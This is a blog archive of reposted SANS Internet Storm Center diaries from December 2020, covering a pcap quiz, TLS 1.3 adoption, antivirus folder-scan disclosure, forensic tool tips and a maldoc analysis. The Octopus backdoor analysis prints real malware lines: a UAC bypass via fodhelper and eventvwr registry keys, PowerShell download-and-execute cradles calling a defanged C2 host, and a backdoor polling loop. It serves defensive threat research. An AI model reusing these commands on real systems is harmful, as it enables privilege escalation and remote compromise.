Blog

Archive for 2020

End of Year Traffic Analysis Quiz, (Thu, Dec 31st)

Introduction

I wanted to leave you all with one final traffic analysis quiz for Windows-based malware infection traffic.  You can find the pcaps here.  Today’s exercise has 6 pcaps of different Windows-based malware infections.  Your task for this quiz?  Determine what type of malware caused the infection for each pcap.  I didn’t provide any alerts like I’ve done for previous quizes.  Today’s quiz is just a casserole of pcap files, cooked up, and served piping hot!


Shown above: A food-based visual for this end-of-year traffic analysis quiz.

A PDF document of answers is also included on the page I linked to earlier.  The answers contains associated IOCs for the infections that can be extracted from the pcaps.  But don’t peek!  First, see how much you can determine from examining the pcaps.

Requirements

This type of analysis requires Wireshark.  Wireshark is my tool of choice to review pcaps of infection activity.  However, default settings for Wireshark are not optimized for web-based malware traffic.  That’s why I encourage people to customize Wireshark after installing it.  To help, I’ve written a series of tutorials.  The ones most helpful for this quiz are:

Furthermore, I  recommend using a non-Windows environment like BSD, Linux, or macOS to analyze malicious traffic.  Some of these pcaps contain HTTP traffic sending Windows-based malware.  If you’re using a Windows host to review the pcaps, your antivirus (or Windows Defender) may delete the pcap or malware.  Worst case scenario?  If you extract the malware from the pcaps and accidentally run the files, you might infect your Windows computer.

So beware, because there’s actual malware involved in parts of this quiz.

Final words

Hope everyone has a happy and healthy year as we enter 2021.

Again, the pcaps and answers for this end-of-year traffic analysis quiz can be found here.


Brad Duncan
brad [at] malware-traffic-analysis.net

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

TLS 1.3 is now supported by about 1 in every 5 HTTPS servers, (Wed, Dec 30th)

TLS 1.3 has been with us for couple of years now[1]. It has brought significant security improvements over previous TLS versions (as well as couple of slightly controversial ideas, such as the 0-RTT) and although its adoption is far from universal as of now, the number of servers which support it seems to be slowly increasing.

As you may see from the following chart, which is based on data I’ve gathered over the past three months from Shodan.io, TLS 1.3 was supported by over 20 percent of all HTTPS servers on the internet during the last quarter of 2020. And although the number has recently slightly fallen, the overall rising trend is clearly visible (see the trendline).

The increase in support of TLS 1.3 isn’t the only good news worth mentioning when it comes to the overall security of HTTPS traffic on the internet during the last quarter of 2020.  That is because the support for SSL 2.0 has been steadily dropping. At the beginning of October, the number of HTTPS servers supporting this outdated protocol fell bellow one million and currently only about 1.5 percent of all HTTPS servers on the internet still support its use.

The fact that there are still servers which support SSL 2.0 out there is of course far from ideal (last year, there were still even few internet banking portals, which still supported it[2]), but the numbers show that the situation is indeed getting better.

I’ll add that since some of our readers have reached out to me with requests for either data I’ve gathered from Shodan, or for the script I’ve used to get them, I’ve decided to open source the tool and I will publish it in January 2021. So if you’d like to gather your own data from Shodan about open ports, vulnerabilities or TLS support in your country or around the world, stay tuned…

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Want to know what's in a folder you don't have a permission to access? Try asking your AV solution…, (Tue, Dec 29th)

Back in February, I wrote a diary about a small vulnerability in Windows, which allows users to brute-force names of files in folders, which they don’t have permission to open/list[1]. While thinking on the topic, it occurred to me that a somewhat-complete list of files placed in a folder one can’t access due to lack of permissions might potentially be obtained by scanning the folder with an anti-malware solution, which displays files which are currently being scanned.

As you may see in the example above, names of scanned files are indeed displayed by some of the anti-malware solutions out there. And since most anti-malware tools run by necessity with high (i.e. SYSTEM level) privileges, and it is customary to allow any user to initiate a scan of arbitrary folder, this may easily lead to unexpected information disclosure (that is, unless the authors of the tool explicitly decided to stop users from scanning folders, for which they don’t have access permissions).

Admittedly, the impact of this would be rather low – unless the anti-malware solution logged the name of each scanned file in a way which would enable a user to read the entire log afterwards, it would be limited to disclosure of the names of files which the user would be able to see/record during the scan itself. Still, it might provide a way by which many anti-malware solutions might be used to bypass confidentiality controls set at the file system level.

Back in February, I decided to do a short test in order to see how large a portion of AV solutions might actually be abused this way. Since I didn’t intend to do a comprehensive analysis of all tools out there, I’ve limited the test to only 25 anti-malware tools from different vendors mentioned in the Wikipedia article on Comparison of antivirus software[2].

The results were quite interesting. Eight of the tools (i.e. approximately one third) didn’t scan contents of any folder, which was inaccessible to the user who initiated the scan, while the remaining seventeen did. Of these, eight did display the names of analyzed files during a scan.

One further point to note is that any of the 17 tools, which enabled users to scan arbitrary folders, might have been used in conjunction with Sysinternals Process Monitor[3] to discover names of all files in any folder (i.e. one would run ProcMon, initiate scan of a folder and then list all files in the relevant path which the anti-malware solution read).

Of course, as this would require local administrator permissions on the part of the user, it is hardly a major issue, since the user could simply change the permissions on the target folder in order to gain access to its contents. Using anti-malware tool in conjunction with ProcMon would however not result in creation of any suspicious audit trail, which might be left behind, were one to simply change the access permissions.

Although the confidentiality impact of the behavior described above was quite low, I contacted all vendors, whose tools I have determined might be abused in this manner. My assumption was that for those anti-malware tools, which enabled users to scan folders they didn’t have access to, this was the result of an intentional design decision on the part of their authors, but I wanted to be sure.

Not every company replied, but for most of those which did, my assumption proved to be correct as the behavior of their tools was confirmed to be intentional. In only two cases the behavior was deemed to constitute a potential security risk and the vendors decided to change it in subsequent updates.

Even though it is only a low impact issue, it is good to know that it exists. After all, if the results of the test were representative for anti-malware solutions at large, low privileged users might potentially be able to use about each third one to partially bypass file system permissions preventing them from listing contents of folders and local admins could completely bypass them with the help of anti-malware in two out of three cases.

[1] https://isc.sans.edu/forums/diary/Discovering+contents+of+folders+in+Windows+without+permissions/25816/
[2] https://en.wikipedia.org/wiki/Comparison_of_antivirus_software
[3] https://docs.microsoft.com/en-us/sysinternals/downloads/procmon

———–
Jan Kopriva
@jk0pr
Alef Nula

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Quickie: Bit Shifting With translate.py, (Sun, Dec 27th)

As promised in diary entry “Corrupt BASE64 Strings: Detection and Decoding“, I explain here how to shift bits with my translate.py tool:

Here is a BASE64 string (SGVsbG8sIHdvcmxkLg==) that decodes to “Hello, world.”:

Corrupting this BASE64 string by removing the first character (S) means that it is no longer detected:

And truncating the length to a multiple of 4 (with Python function L4) makes that it gets detected, but not decoded properly:

We then proceeded in diary entry “Corrupt BASE64 Strings: Detection and Decoding” to manipulate the input BASE64 string so that we arrived at a decoded string we could recognize.

Here, in stead of manipulating the input BASE64 string, I’m manipulating the output by shifting bits.

Each character in a BASE64 string represents 6 bits. So I will bit shift the output with 2, 4 and 6 bits to the right using my translate.py tool like this (this command shifts the complete byte sequence, not individual bytes):

The result here is that a bit shift to the right of 6 bits results in a decoded BASE64 string that we can recognize.

With this we know that it is likely that we are missing one BASE64 character at the beginning, and thus we can try fixing it like explained in previous diary entry.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

base64dump.py Supported Encodings, (Sat, Dec 26th)

I explained to a friend that my tool base64dump.py, despite its name, does support many other encodings than BASE64. For example, it can detect and decode hexadecimal strings too.

To select a different encoding than BASE64, use option -e followed with the name of the encoding, for example: -e hex.

To know which encodings are supported by my tool, use the help (-h) or man (-m) option:

Or use -e ?:

While reviewing the supported encodings, I decided to add support for a new encoding: sequences of decimal numbers, for example found in FireEye’s maldocs. In that diary entry, I used my tool numbers-to-string.py to do the decoding, however, in this diary entry I’ll show how to use the new version of my tool base64dump.py. Remark that numbers-to-string.py is more versatile to decode sequences of decimal numbers than base64dump.py, as it can take a Python expression to transform each number. If you want to know more about this feature, take a look at diary entry “Small Challenge: A Simple Word Maldoc – Part 2“.

Here is method to analyze FireEye’s maldocs using base64dump. I use my base64dump.py tool directly to analyze the maldoc (I don’t use oledump). I use option “-e all” to let base64dump search for all possible encodings in this binary file (e.g. the maldoc). Since this usually produces a long list of detections (due to very short strings, like numbers), I use option “-n 10” to limit the output. Option “-n 10” specifies that the minimum length of the decoded string is 10 (bytes), shorter strings will not be displayed. Finally, I also use option -u to obtain a list of unique strings (e.g. remove duplicates):

My tool produces a list of all possible strings, sorted by length: the longest strings are listed last. I use this option (-e all) when I don’t know what possible strings to expect inside a sample.

With this output, it’s easy to see that 2 very long strings were detected (248517 and 249791 bytes long) that match decimal encoding (dec): a long list of decimal numbers separated by a character (; in this sample).

Next I use encoding dec explicitly (-e dec):

The difference with using option “-e dec” in stead of option “-e all”, is that now each string is labelled with an index number allowing easy selection, and that the output is not sorted by string length, but strings appear in the order they are found inside the analyzed file.

In this output (and previous output too), I see that when these 2 long strings are decoded, they start with PK.. : they are probably ZIP files.

Selecting the first long string (-s 3) and piping the decoded, binary data (-d) into my tool zipdump.py confirms that this is a ZIP file:

And the same is true for the second long string (-s 4):

This example shows that for these FireEye’s maldocs, one can quickly extract the payload using my new version of base64dump.py.

If you compare this method with the previous method, you’ll probably ask yourself why I did use oledump in the previous method, and not in this method.

There are 2 reasons:

1) numbers-to-string.py is a tool that expects text as input (one string per line), and not binary data. I used oledump.py with a plugin in the previous method to produce a list of strings, that can be handled by numbers-to-string.py.

2) in this sample, the streams are not “fragmented”. ole files (like .doc, .xls, …) store data inside streams, and streams are made up of “virtual sectors”. It’s not a requirement that the sectors that make up a stream are stored consecutively. When that is not the case, streams are “fragmented”, and then long strings inside these streams can become fragmented too. oledump.py parses ole files, and handles fragmentation: when a stream is selected for processing, the data is presented sequentially, and fragmentation is not an issue. Would this sample have been fragmented, then the output of base64dump would list many “dec” strings, and it would be necessary to use oledump to select the stream(s), and pipe it into base64dump.

 

 

 

Didier Stevens

Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Quickie: String Analysis & Maldocs, (Fri, Dec 25th)

Yesterday, Xavier showed how to start analyzing a malicious Word document with my oledump.py tool.

Some time ago, I wrote a diary entry about string analysis: “Quickie: String Analysis is Still Useful“, and would like to remark that this is another method to start analyzing the maldoc Xavier mentioned yesterday:

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →

Malicious Word Document Delivering an Octopus Backdoor, (Thu, Dec 24th)

Here is an interesting malicious Word document that I spotted yesterday. This time, it does not contain a macro but two embedded objects that the victim must “activate” (click on one of them) to perform the malicious activities. The document (SHA256:ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04) has a VT score of 20/62[1]:

A quick analysis with oledump.py reveals indeed the presence of two embedded objects (the “0” indicator):

[email protected]:~$ oledump.py ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04.doc.vir 
  1:       114 'x01CompObj'
  2:       280 'x05DocumentSummaryInformation'
  3:       416 'x05SummaryInformation'
  4:      7338 '1Table'
  5:      4096 'Data'
  6: O    1329 'ObjectPool/_1670067230/x01Ole10Native'
  7:         6 'ObjectPool/_1670067230/x03ObjInfo'
  8: O    1536 'ObjectPool/_1670067231/x01Ole10Native'
  9:         6 'ObjectPool/_1670067231/x03ObjInfo'
 10:      4096 'WordDocument'

You can extract them via oledump.py or directly from the document (if you have a Word in your sandbox). Both objects are the same and contain a Windows batch fime. Note the double extension:

  • HIRING FORM.DOC.bat
  • CONDITIONS OF THE CONTRACT.PDF.bat

Here is the content (beautified):

@echo Off
for /f "tokens=2 delims=," %%i in ('wmic os get caption^,version /format:csv') do set os=%%i
echo %os%|find " 10 ">nul 
  && reg add HKCUSoftwareClassesms-settingsshellopencommand /v "DelegateExecute" /f 
  && reg add HKCUSoftwareClassesms-settingsshellopencommand /d "cmd.exe /c powershell -WindowStyle Hidden -command "IEX (New-Object Net.WebClient).DownloadFile('hxxp://23[.]98[.]155[.]192/sc.bat', 'C:UsersPublicLibrariessc.bat');" C:UsersPublicLibrariessc.bat" /f 
  && START /W fodhelper.exe 
  && reg delete HKCUSoftwareClassesms-settings /f||reg.exe add hkcusoftwareclassesmscfileshellopencommand /ve /d "cmd.exe /c powershell -WindowStyle Hidden -command "IEX (New-Object Net.WebClient).DownloadFile('hxxp://23[.]98[.]155[.]192/sc.bat', 'C:UsersPublicLibrariessc.bat');" C:UsersPublicLibrariessc.bat" /f 
  && START /W eventvwr.exe 
  && reg delete HKEY_CURRENT_USERSoftwareClassesmscfile /f

This script will test the operating system version and if the victim’s computer is running Windows 10, two UAC bypass techniques are attempted:

The first one targets ‘fodhelper.exe’ by creating a registry key ‘HKCU:SoftwareClassesms-settingsshellopencommandDelegateExecute’. The second one targets ‘eventvwr.exe’. This is a common technique used for a while by attackers.

The privileged command executes a simple Powershell script that fetches the next stage payload and executes it. This ‘sc.bat’ is heavily obfuscated:

This file contains Chinese characters but interesting strings can be extracted:

[email protected]:~$ strings -n 20 sc.bat 
=R7cBqDS [email protected]"
%ImJ:~44,1%%ImJ:~41,1%%ImJ:~31,1%%ImJ:~1,1%%ImJ:~7,1%"
=%ImJ:~54,1%%ImJ:~34,1%%ImJ:~55,1%%ImJ:~40,1%%g
%%ImJ:~43,1%%ImJ:~53,1%%ImJ:~26,1%%ImJ:~3,1%%
%%ImJ:~61,1%%ImJ:~46,1%%ImJ:~31,1%%ImJ:~24,1%%ImJ:~18,1%%ImJ:~41,1%%ImJ:~16,1%%ImJ:~57,1%%ImJ:~20,1%%ImJ:~52,1%%ImJ:~23,1%%ImJ:~35,1%%ImJ:~8,1%%ImJ:~42,1%%ImJ:~17,1%%ImJ:~62,1%%
%%ImJ:~9,1%%ImJ:~50,1%%ImJ:~6,1%%ImJ:~14,1%%ImJ:~44,1%%ImJ:~25,1%%ImJ:~36,1%%ImJ:~59,1%%ImJ:~30,1%%ImJ:~39,1%%ImJ:~22,1%%AJ
%%ImJ:~15,1%%ImJ:~47,1%%ImJ:~12,1%%ImJ:~45,1%%ImJ:~56,1%%ImJ:~5,1%%ImJ:~1,1%%ImJ:~32,1%%
%%ImJ:~38,1%%ImJ:~10,1%%ImJ:~2,1%%ImJ:~0,1%%ImJ:~29,1%%ImJ:~48,1%%ImJ:~13,1%%ImJ:~28,1%%ImJ:~37,1%%ImJ:~58,1%%ImJ:~51,1%%ImJ:~63,1%%ImJ:~49,1%%ImJ:~7,1%%ImJ:~19,1%%ImJ:~11,1%%ImJ:~21,1%%ImJ:~27,1%%ImJ:~33,1%%ImJ:~60,1%%ImJ:~4,1%"
%bIY:~45,1%%bIY:~38,1%%bIY:~57,1%%bIY:~6,1%%bIY:~23,1%"
%bIY:~35,1%%bIY:~56,1%=%bIY:~43,1%%N
%%bIY:~29,1%%bIY:~12,1%%bIY:~38,1%%bIY:~28,1%%bIY:~49,1%%bIY:~37,1%%bIY:~51,1%%bIY:~33,1%%bIY:~32,1%%
%%bIY:~24,1%%bIY:~46,1%%bIY:~11,1%%bIY:~31,1%%bIY:~63,1%%bIY:~7,1%%bIY:~36,1%%bIY:~40,1%%bIY:~1,1%%bIY:~50,1%%bIY:~42,1%%bIY:~48,1%%bIY:~61,1%%
m%%bIY:~25,1%%bIY:~34,1%%bIY:~45,1%%bIY:~0,1%%bIY:~19,1%%bIY:~39,1%%bIY:~2,1%%bIY:~60,1%%bIY:~30,1%%bIY:~20,1%%bIY:~4,1%%bIY:~62,1%%bIY:~57,1%%bIY:~10,1%%bIY:~58,1%%bIY:~5,1%%
F%%bIY:~22,1%%bIY:~53,1%%bIY:~41,1%%bIY:~56,1%%Pc
M%%bIY:~27,1%%bIY:~21,1%%bIY:~23,1%%bIY:~26,1%%_
YW%%bIY:~8,1%%bIY:~6,1%%bIY:~59,1%%bIY:~3,1%%bIY:~17,1%%bIY:~16,1%%bIY:~14,1%%bIY:~9,1%%bIY:~35,1%%bIY:~44,1%%bIY:~47,1%%bIY:~13,1%%bIY:~15,1%%bIY:~55,1%%bIY:~52,1%%bIY:~18,1%%bIY:~54,1%%
:~54,1%://hpsj[.]firewall-gateway[.]net:80/hpjs.php');""
:~54,1%://hpsj[.]firewall-gateway[.]net:8080/MicrosoftUpdate"%bK
:~60,1%://is[.]gd/xbQIQ2','C:UsersPublicLibrariespus.bat');"%bK
:~62,1%:UsersPublicLibrariespus.bat
:~54,1%://hpsj[.]firewall-gateway[.]net:8080/MicrosoftUpdate'%bK
:~62,1%:UsersPublicLibrariespus.bat'%bK
:~54,1%://hpsj[.]firewall-gateway[.]net:8080/MicrosoftUpdate
:~54,1%://hpsj[.]firewall-gateway[.]net:80/hta

It downloads more malicious code from URLs present in the file.

The first one from hxxp://hpsj.firewall-gateway.net/hta:

var cm="powershell -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[Net.WebRequest]::GetSystemWebProxy();$V.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX($V.downloadstring('hxxp://hpsj[.]firewall-gateway[.]net:80/hpjs.php'));";
var w32ps= GetObject('winmgmts:').Get('Win32_ProcessStartup');
w32ps.SpawnInstance_();
w32ps.ShowWindow=0;
var rtrnCode=GetObject('winmgmts:').Get('Win32_Process').Create(cm,'c:',w32ps,null);

The returned data contains Powershell code that is executed through the ‘IEX’ command. 

The second script from hxxp://hpsj.firewall-gateway[.]net:8080/MicrosoftUpdate exfiltrates information about the victim to the C2:

Now, let’s have a look at the Powershell code retrieved above. It’s a backdoor that keeps contact with the C2 via simple HTTP requests:

while($true){
    try{
    $command_raw = $wc2.downloadString("hxxp://hpsj[.]firewall-gateway[.]net:80/view/$IHW");
    }catch{
    $failure_counter=$failure_counter +1;
    if ($failure_counter -eq 10){
    kill $pid
    }
    }

The variable “$IHW” identifies the victim. The following commands are:

  • Report: To return information about the victim (processes, IP address, etc)
  • Download: To retrieve a file
  • reset-ps: To reset the Powershell session 
  • Any other command is interpreted via ‘Invoke-Expression’

All communications occur on top of HTTP but data are AES encrypted. Checking deeper, we are facing an Octopus[2] backdoor. This framework has been developed to help red teams to compromise and gather information from victims. In this case, it was not an exercise but a real phishing campaign targeting specific users.

I wish you a Merry Christmas and stay safe!

[1] https://www.virustotal.com/gui/file/ba6cc16770dc67c1af1a3e103c3fd19a854193e7cd1fecbb11ca11c2c47cdf04/detection
[2] https://github.com/mhaskar/Octopus

Xavier Mertens (@xme)
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Reposted from SANS. View original.

Posted in: SANS

Leave a Comment (0) →
Page 1 of 72 12345...»